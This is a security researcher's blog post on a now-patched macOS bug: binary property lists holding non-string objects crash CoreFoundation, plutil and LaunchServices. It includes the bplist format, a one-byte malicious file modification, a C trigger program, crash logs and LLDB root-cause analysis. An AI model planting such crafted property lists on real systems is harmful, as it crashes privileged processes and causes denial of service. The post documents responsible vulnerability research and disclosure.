MacOS Property List Parsing Bug(s)
Trial By Fire
Recently, I decided it was time to go down another Operating System (OS) rabbit hole and MacOS looked interesting enough especially since I knew little of the internals even though I regularly use Apple products. Learning a new OS is always an adventure, but I typically need a specific goal to ground my exploration and measure success in some way. Therefore, I set a goal of local exploitation through a single file being placed on a MacOS system and let the analysis challenge begin. After only a few weeks I came across an interesting bug related to property lists which this post goes into more detail about. The bug was reported to Apple in May 2020 and patched although no CVE was issued.
Property List Background
Property lists are files that store serialized objects and are prevalant in Apple’s Operating Systems similar to how Microsoft Windows uses the Registry to store configuration data. An example XML-based property list for the MacOS application Automator is shown below. This property list stores version information for the application as well as other useful data.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>BuildAliasOf</key>
<string>Automator</string>
<key>BuildVersion</key>
<string>383</string>
<key>CFBundleShortVersionString</key>
<string>2.10</string>
<key>CFBundleVersion</key>
<string>492</string>
<key>ProjectName</key>
<string>Automator_executables</string>
<key>SourceVersion</key>
<string>492000000000000</string>
</dict>
</plist>
Property lists can also be in binary form otherwise known as bplists. As the name implies, these are property lists in a binary format that enable some additional object types and relationships including dictionaries. Below is an example bplist which can be identified by the ‘bplist00’ tag although additional tags exist to support other versions of the format.
00000000: 6270 6c69 7374 3030 d401 0203 0405 060a bplist00........
00000010: 0b5f 1014 4e53 5374 6f72 7962 6f61 7264 ._..NSStoryboard
00000020: 4d61 696e 4d65 6e75 5f10 254e 5356 6965 MainMenu_.%NSVie
00000030: 7743 6f6e 7472 6f6c 6c65 7249 6465 6e74 wControllerIdent
00000040: 6966 6965 7273 546f 4e69 624e 616d 6573 ifiersToNibNames
00000050: 5f10 134e 5353 746f 7279 626f 6172 6456 _..NSStoryboardV
00000060: 6572 7369 6f6e 5f10 224e 5356 6965 7743 ersion_."NSViewC
00000070: 6f6e 7472 6f6c 6c65 7249 6465 6e74 6966 ontrollerIdentif
00000080: 6965 7273 546f 5555 4944 7358 4d61 696e iersToUUIDsXMain
00000090: 4d65 6e75 d207 0508 095f 1013 7369 6d75 Menu....._..simu
000000a0: 6c61 746f 724d 6169 6e57 696e 646f 775f latorMainWindow_
000000b0: 1013 7369 6d75 6c61 746f 724d 6169 6e57 ..simulatorMainW
000000c0: 696e 646f 7758 4d61 696e 4d65 6e75 1001 indowXMainMenu..
The bplist format can be better understood by looking at Apple’s opensource code and I also found this reference to be extremely helpful. The bplist format defined in Apple’s opensource code is below.
/*
HEADER
magic number ("bplist")
file format version (currently "0?")
OBJECT TABLE
variable-sized objects
Object Formats (marker byte followed by additional info in some cases)
null 0000 0000 // null object [v"1?"+ only]
bool 0000 1000 // false
bool 0000 1001 // true
url 0000 1100 string // URL with no base URL, recursive encoding of URL string [v"1?"+ only]
url 0000 1101 base string // URL with base URL, recursive encoding of base URL, then recursive encoding of URL string [v"1?"+ only]
uuid 0000 1110 // 16-byte UUID [v"1?"+ only]
fill 0000 1111 // fill byte
int 0001 0nnn ... // # of bytes is 2^nnn, big-endian bytes
real 0010 0nnn ... // # of bytes is 2^nnn, big-endian bytes
date 0011 0011 ... // 8 byte float follows, big-endian bytes
data 0100 nnnn [int] ... // nnnn is number of bytes unless 1111 then int count follows, followed by bytes
string 0101 nnnn [int] ... // ASCII string, nnnn is # of chars, else 1111 then int count, then bytes
string 0110 nnnn [int] ... // Unicode string, nnnn is # of chars, else 1111 then int count, then big-endian 2-byte uint16_t
string 0111 nnnn [int] ... // UTF8 string, nnnn is # of chars, else 1111 then int count, then bytes [v"1?"+ only]
uid 1000 nnnn ... // nnnn+1 is # of bytes
1001 xxxx // unused
array 1010 nnnn [int] objref* // nnnn is count, unless '1111', then int count follows
ordset 1011 nnnn [int] objref* // nnnn is count, unless '1111', then int count follows [v"1?"+ only]
set 1100 nnnn [int] objref* // nnnn is count, unless '1111', then int count follows [v"1?"+ only]
dict 1101 nnnn [int] keyref* objref* // nnnn is count, unless '1111', then int count follows
1110 xxxx // unused
1111 xxxx // unused
OFFSET TABLE
list of ints, byte size of which is given in trailer
-- these are the byte offsets into the file
-- number of these is in the trailer
TRAILER
byte size of offset ints in offset table
byte size of object refs in arrays and dicts
number of offsets in offset table (also is number of objects)
element # in offset table which is top level object
offset table offset
*/
Property lists provided an interesting target for fuzzing because they are simple to create and consumed by many parts of the OS including higher privileged processes. Apple’s opensource code enabled me to create arbitrary bplists and start to fuzz the file format while ensuring proper syntax with the built-in MacOS plutil command-line tool.
Bug Hunting
I spent a few days generating bplists to exercise the format and quickly found that certain object types caused exceptions when being parsed by common MacOS binaries such as Finder and even higher privileged ones including Launch Services daemon (LSD). System crash logs indicated an issue in the Core Foundation framework but, as we will see later, this bug exists in multiple locations.
Most of the generated crashes appeared to be caused by how Core Foundation parses bplists and subsequently attempts to use the created objects. Any bplist that had objects within it’s ObjectTable that were not string types (Date, Data, Bool, etc.) caused the parsing process to crash when calling non-existent string related selectors. The result was any process that used Core Foundation to read property lists could be crashed with an unrecognized selector exception. An example vulnerable code path is below:
CFBundleGetMainBundle <-- exported function
_CFBundleCreate
CFBundleGetInfoDictionary
_CFBundleRefreshInfoDictionaryAlreadyLocked
_CFBundleCopyInfoDictionaryInDirectoryWithVersion
_CFBundleInfoPlistProcessInfoDictionary
CFStringFind
CFStringFindWithOptionsAndLocale
CRASH!!! <-- calls unrecognized selector
Reaching this location was trivial with the following C code and a malicious property list named Info.plist in the same directory as the test application.
#import <CoreFoundation/CoreFoundation.h>
int main(int argc, const char * argv[]) {
CFBundleRef myAppsBundle= NULL;
myAppsBundle = CFBundleGetMainBundle();
return 0;
}
Crash Analysis
Generating crashes for this bug can be done programmatically or by placing a modified bplist on the system where it will automatically be parsed. In fact, one of the first signs of this bug was LSD repeatedly crashing on my system while trying to register an application with my modified property list. Objective-See has a great blog post detailing application registration through LSD and the automatic parsing of property lists. The image below is Console output showing how often crashes occurred with a modified bplist on my desktop posing as a legitimate ‘Info.plist’. Also note the User-level and System-level processes crashing.
Creating malicious bplists can be done by modifying a single byte to change an ASCII string object (type 0x5X) to another object type such as DATE (type 0x33). An example modified bplist is below.
00000000: 6270 6c69 7374 3030 d401 0203 0405 060a bplist00........
00000010: 0b5f 1014 4e53 5374 6f72 7962 6f61 7264 ._..NSStoryboard
00000020: 4d61 696e 4d65 6e75 5f10 254e 5356 6965 MainMenu_.%NSVie
00000030: 7743 6f6e 7472 6f6c 6c65 7249 6465 6e74 wControllerIdent
00000040: 6966 6965 7273 546f 4e69 624e 616d 6573 ifiersToNibNames
00000050: 5f10 134e 5353 746f 7279 626f 6172 6456 _..NSStoryboardV
00000060: 6572 7369 6f6e 5f10 224e 5356 6965 7743 ersion_."NSViewC
00000070: 6f6e 7472 6f6c 6c65 7249 6465 6e74 6966 ontrollerIdentif
00000080: 6965 7273 546f 5555 4944 7358 4d61 696e iersToUUIDsXMain
00000090: 4d65 6e75 d207 0508 0933 1013 7369 6d75 Menu.....3..simu
000000a0: 6c61 746f 724d 6169 6e57 696e 646f 775f latorMainWindow_
000000b0: 1013 7369 6d75 6c61 746f 724d 6169 6e57 ..simulatorMainW
000000c0: 696e 646f 7758 4d61 696e 4d65 6e75 1001 indowXMainMenu..
This small one byte change can now be used to cause havoc on a MacOS system and presumably iOS although that platform was not tested during this research. This approach also impacts multiple databases including Spotlight’s which becomes tainted with this malicious Info.plist and repeatedly causes crashes even after reboot.
Getting to the root cause
With the ability to recreate crashes easily, I dug into where this bug actually lives. A simple approach to tracking this down was to look at the stack trace of a crashing process. Below is a crash log from the test application shown earlier that uses Core Foundation to read a malicious property list.
2020-07-06 09:31:14.433 OpenInfo[79624:2895718] *** Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '-[__NSDate length]: unrecognized selector sent to instance 0x7fa546d033e0'
*** First throw call stack:
(
0 CoreFoundation 0x00007fff2c0058ab __exceptionPreprocess + 250
1 libobjc.A.dylib 0x00007fff62126805 objc_exception_throw + 48
2 CoreFoundation 0x00007fff2c084b61 -[NSObject(NSObject) __retain_OA] + 0
3 CoreFoundation 0x00007fff2bf69adf ___forwarding___ + 1427
4 CoreFoundation 0x00007fff2bf694b8 _CF_forwarding_prep_0 + 120
5 CoreFoundation 0x00007fff2bf27676 CFStringFind + 45
6 CoreFoundation 0x00007fff2bf26cc8 _CFBundleInfoPlistProcessInfoDictionary + 194
7 CoreFoundation 0x00007fff2bf1faff _CFBundleCopyInfoDictionaryInDirectoryWithVersion + 1117
8 CoreFoundation 0x00007fff2bf1f349 _CFBundleRefreshInfoDictionaryAlreadyLocked + 111
9 CoreFoundation 0x00007fff2bf1f2c8 CFBundleGetInfoDictionary + 33
10 CoreFoundation 0x00007fff2c027d4f _CFBundleCreate + 715
11 CoreFoundation 0x00007fff2bf102aa CFBundleGetMainBundle + 148
12 OpenInfo 0x0000000109061f83 main + 35
13 libdyld.dylib 0x00007fff634947fd start + 1
14 ??? 0x0000000000000001 0x0 + 1
)
libc++abi.dylib: terminating with uncaught exception of type NSException
Abort trap: 6
It was helpful to read the following article to understand how Core Foundation handles unrecognized selector exceptions and clarified what _CF_forwarding_prep_0 in the stack trace does. With this information, I treated the return address before this as the likely source of the exception which is in CFStringFind …specifically after a call to _CFStringGetLength. The disassembly below illustrates this call.
I stepped through CFStringFind in LLDB until right before the call to _CFStringGetLength to inspect the registers. From Apple’s documentation for _CFStringGetLength we know that the first argument should be a string so we can inspect the RDI register with the following LLDB command.
(lldb) po [$RDI class]
__NSDate
Bingo! The object type for the first argument was not a string but instead an _NSDate object from our malicious bplist. The decompilation of _CFStringGetLength below illustrates where this could go wrong.
We can see that the length selector is being called on the first argument to this function which we know will fail for an _NSDate object since it doesn’t have this selector. This theory matches up with the crash logs as well.
reason: '-[__NSDate length]: unrecognized selector
If we continue through this function we will eventually hit an exception in the bowels of Objective-C exception handling which indicates we have found the root cause of these crashes.
Additional Selectors
I continued to generate bplists with non-string objects and was able to generate additional crashes within Core Foundation from other unrecognized selectors. The crash log below is from LSD after consuming a malicious bplist with a single __NSCFData object.
Uncaught exception: 'NSInvalidArgumentException', reason: '-[__NSCFData _fastCStringContents:]: unrecognized selector sent to instance 0x7fac7d49f560'
The stack trace for this LSD crash is as follows.
Application Specific Backtrace 1:
0 CoreFoundation 0x00007fff356568ab __exceptionPreprocess + 250
1 libobjc.A.dylib 0x00007fff6b777805 objc_exception_throw + 48
2 CoreFoundation 0x00007fff356d5b61 -[NSObject(NSObject) __retain_OA] + 0
3 CoreFoundation 0x00007fff355baadf ___forwarding___ + 1427
4 CoreFoundation 0x00007fff355ba4b8 _CF_forwarding_prep_0 + 120
5 CoreFoundation 0x00007fff355615f9 CFStringFindWithOptionsAndLocale + 265
6 CoreFoundation 0x00007fff35578697 CFStringFind + 78
7 CoreFoundation 0x00007fff35577cc8 _CFBundleInfoPlistProcessInfoDictionary + 194
8 CoreFoundation 0x00007fff35570aff _CFBundleCopyInfoDictionaryInDirectoryWithVersion + 1117
9 CoreFoundation 0x00007fff35570349 _CFBundleRefreshInfoDictionaryAlreadyLocked + 111
10 CoreFoundation 0x00007fff355702c8 CFBundleGetInfoDictionary + 33
11 CoreFoundation 0x00007fff35678d4f _CFBundleCreate + 715
12 LaunchServices 0x00007fff36d2b762 -[FSNode(Bundles) CFBundleWithError:] + 88
13 LaunchServices 0x00007fff36e34e62 _LSCreateRegistrationData + 294
14 LaunchServices 0x00007fff36d861e8 __104-[_LSDModifyClient registerItemInfo:alias:diskImageAlias:bundleURL:installationPlist:completionHandler:]_block_invoke + 191
15 libdispatch.dylib 0x00007fff6ca8b583 _dispatch_call_block_and_release + 12
16 libdispatch.dylib 0x00007fff6ca8c50e _dispatch_client_callout + 8
17 libdispatch.dylib 0x00007fff6ca91ace _dispatch_lane_serial_drain + 597
18 libdispatch.dylib 0x00007fff6ca92485 _dispatch_lane_invoke + 414
19 libdispatch.dylib 0x00007fff6ca9ba9e _dispatch_workloop_worker_thread + 598
20 libsystem_pthread.dylib 0x00007fff6cce66fc _pthread_wqthread + 290
21 libsystem_pthread.dylib 0x00007fff6cce5827 start_wqthread + 15
Notice that the crashing location, before Objective-C exception handling, is not from CFStringFind but actually CFStringFindWithOptionsAndLocale which calls _CFStringGetCStringPtrInternal finally dying a horrible death from the incorrect selector _fastCStringContents being called. The reason for this is that the __NSCFData type actually has a length selector so it successfully gets past the first crashing location we saw earlier and further into Core Foundation until it calls another unrecognized selector.
Multiple Bugs
Early in this research I was using plutil to generate crashes from malicious bplists before writing my own code to hit the necessary code paths. The following commands set up an LLDB session to start debugging this crash by using plutil as the target process and the print plist flag which will just print a human-readable version of the property list.
(lldb) target create plutil
(lldb) process launch --stop-at-entry -- -p bad.plist
After stepping through execution a few times, it was evident that plutil actually crashes in a different location and NOT in Core Foundation. The output below illustrates that it attempts to call the length selector on an __NSDate type which causes an unrecognized selector exception but this bug lives in plutil and not in Core Foundation.
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 3.1
frame #0: 0x0000000100006aa0 plutil`___lldb_unnamed_symbol67$$plutil + 21
plutil`___lldb_unnamed_symbol67$$plutil:
-> 0x100006aa0 <+21>: movq 0x5e91(%rip), %rsi ; "length"
0x100006aa7 <+28>: movq 0x45b2(%rip), %r12 ; (void *)0x00007fff6ff53000: objc_msgSend
0x100006aae <+35>: callq *%r12
0x100006ab1 <+38>: movq %rax, %r15
Target 1: (plutil) stopped.
(lldb) po [$rdi class]
__NSDate
It appears similar bugs exist in many MacOS applications that assume bplists will only contain string object types. The stacktrace from a crashed LSD process is below which is also outside of Core Foundation.
* thread #2, queue = 'com.apple.lsd.database', stop reason = breakpoint 3.1
* frame #0: 0x00007fff384c5440 CoreFoundation`__forwarding_prep_0___
frame #1: 0x00007fff39c644d5 LaunchServices`_LSPlistCompactString(NSString*, signed char*) + 45
frame #2: 0x00007fff39c98b06 LaunchServices`___ZL22_LSPlistTransformValueP11objc_objectPFP8NSStringS2_PaES3__block_invoke.637 + 67
frame #3: 0x00007fff384a8f27 CoreFoundation`__NSDICTIONARY_IS_CALLING_OUT_TO_A_BLOCK__ + 7
frame #4: 0x00007fff384e8a85 CoreFoundation`-[__NSDictionaryM enumerateKeysAndObjectsWithOptions:usingBlock:] + 230
frame #5: 0x00007fff39c987c7 LaunchServices`___ZL17_LSPlistTransformP12NSDictionaryIP8NSStringP11objc_objectEPFS1_S1_PaES6__block_invoke + 562
frame #6: 0x00007fff384a8f27 CoreFoundation`__NSDICTIONARY_IS_CALLING_OUT_TO_A_BLOCK__ + 7
frame #7: 0x00007fff384e8a85 CoreFoundation`-[__NSDictionaryM enumerateKeysAndObjectsWithOptions:usingBlock:] + 230
frame #8: 0x00007fff39c64a60 LaunchServices`_LSPlistTransform(NSDictionary<NSString*, objc_object*>*, NSString* (*)(NSString*, signed char*), signed char*) + 212
frame #9: 0x00007fff39c96dbb LaunchServices`_LSPlistCompact + 65
frame #10: 0x00007fff39d019d9 LaunchServices`_LSPlistAdd + 79
frame #11: 0x00007fff39c9d3b5 LaunchServices`-[LSBundleRecordBuilder buildBundleData:error:] + 2772
frame #12: 0x00007fff39c9e3a8 LaunchServices`-[LSBundleRecordBuilder registerBundleRecord:error:] + 97
frame #13: 0x00007fff39d3f7ec LaunchServices`_LSServerBundleRegistration + 1870
frame #14: 0x00007fff39d41ba1 LaunchServices`_LSServerItemInfoRegistration + 691
frame #15: 0x00007fff39d8a62d LaunchServices`_LSServer_RegisterItemInfo + 244
frame #16: 0x00007fff39c9155d LaunchServices`__104-[_LSDModifyClient registerItemInfo:alias:diskImageAlias:bundleURL:installationPlist:completionHandler:]_block_invoke_2 + 107
frame #17: 0x00007fff6f996583 libdispatch.dylib`_dispatch_call_block_and_release + 12
frame #18: 0x00007fff6f99750e libdispatch.dylib`_dispatch_client_callout + 8
frame #19: 0x00007fff6f9a4827 libdispatch.dylib`_dispatch_lane_concurrent_drain + 1032
frame #20: 0x00007fff6f99d4ec libdispatch.dylib`_dispatch_lane_invoke + 517
frame #21: 0x00007fff6f999202 libdispatch.dylib`_dispatch_queue_override_invoke + 421
frame #22: 0x00007fff6f9a57e2 libdispatch.dylib`_dispatch_root_queue_drain + 326
frame #23: 0x00007fff6f9a5f22 libdispatch.dylib`_dispatch_worker_thread2 + 92
frame #24: 0x00007fff6fbf16b6 libsystem_pthread.dylib`_pthread_wqthread + 220
frame #25: 0x00007fff6fbf0827 libsystem_pthread.dylib`start_wqthread + 15
If we use GHIDRA to disassemble the _LSPlistCompactString function, we can see that offset 45 or 0x2D gets us to yet another length call on the incorrect object type presumably from our malicious bpliist which is now in the LSD database.
We can verify this by setting a breakpoint on _LSPlistCompactString and printing the first argument with the following breakpoint commands.
(lldb) br com add 1
Enter your debugger command(s). Type 'DONE' to end.
> po [$rdi class]
> c
> DONE
The output below illustrates that LSD is getting our __NSDate object from the malicious bplist.
Command #2 'c' continued the target.
(lldb) po [$rdi class]
NSTaggedPointerString
(lldb) c
Process 576 resuming
Command #2 'c' continued the target.
(lldb) po [$rdi class]
__NSDate
This confirms what I thought was intially one bug is actually many across multiple MacOS binaries and all rooted in the assumption that bplists only contain string objects.
Impact Summary
- Root-level processes can be crashed from a normal User account and repeatedly crash if they are respawned by the Operating System (LSD and MDS are examples)
- System instability and denial of service occur especially when Finder or other UI related processes consume the malicious bplist and crash
- 0-clicks required to crash processes since application bundles, packages etc. are automatically processed when they are written to disk
- Potential to crash security-related processes from normal User accounts to remove security boundaries (XProtect, etc.) although they were not fully explored in this post
- Potential to exploit remotely in scenarios where bplists are parsed automatically
- System components impacted by this bug include any that use Core Foundation to parse bplists which is a large percentage (a quick search found over 1000 installed binaries on MacOS 10.15.3 that import functions to reach this bug)
- Many applications parse bplist data through Core Foundation but also access generated objects incorrectly within their own code meaning the bug count could be much larger
Conclusions
Hopefully this exploration was as interesting and helpful to the community as it was for my own understanding of MacOS internals. Shout out to the Apple security community which is extremely passionate and informative about poking at Apple products. There is some follow-on work to this post which will hopefully be published in the coming months. As always, feedback is welcome including corrections to any inaccuracies or suggestions for more effective ways to accomplish the same goals.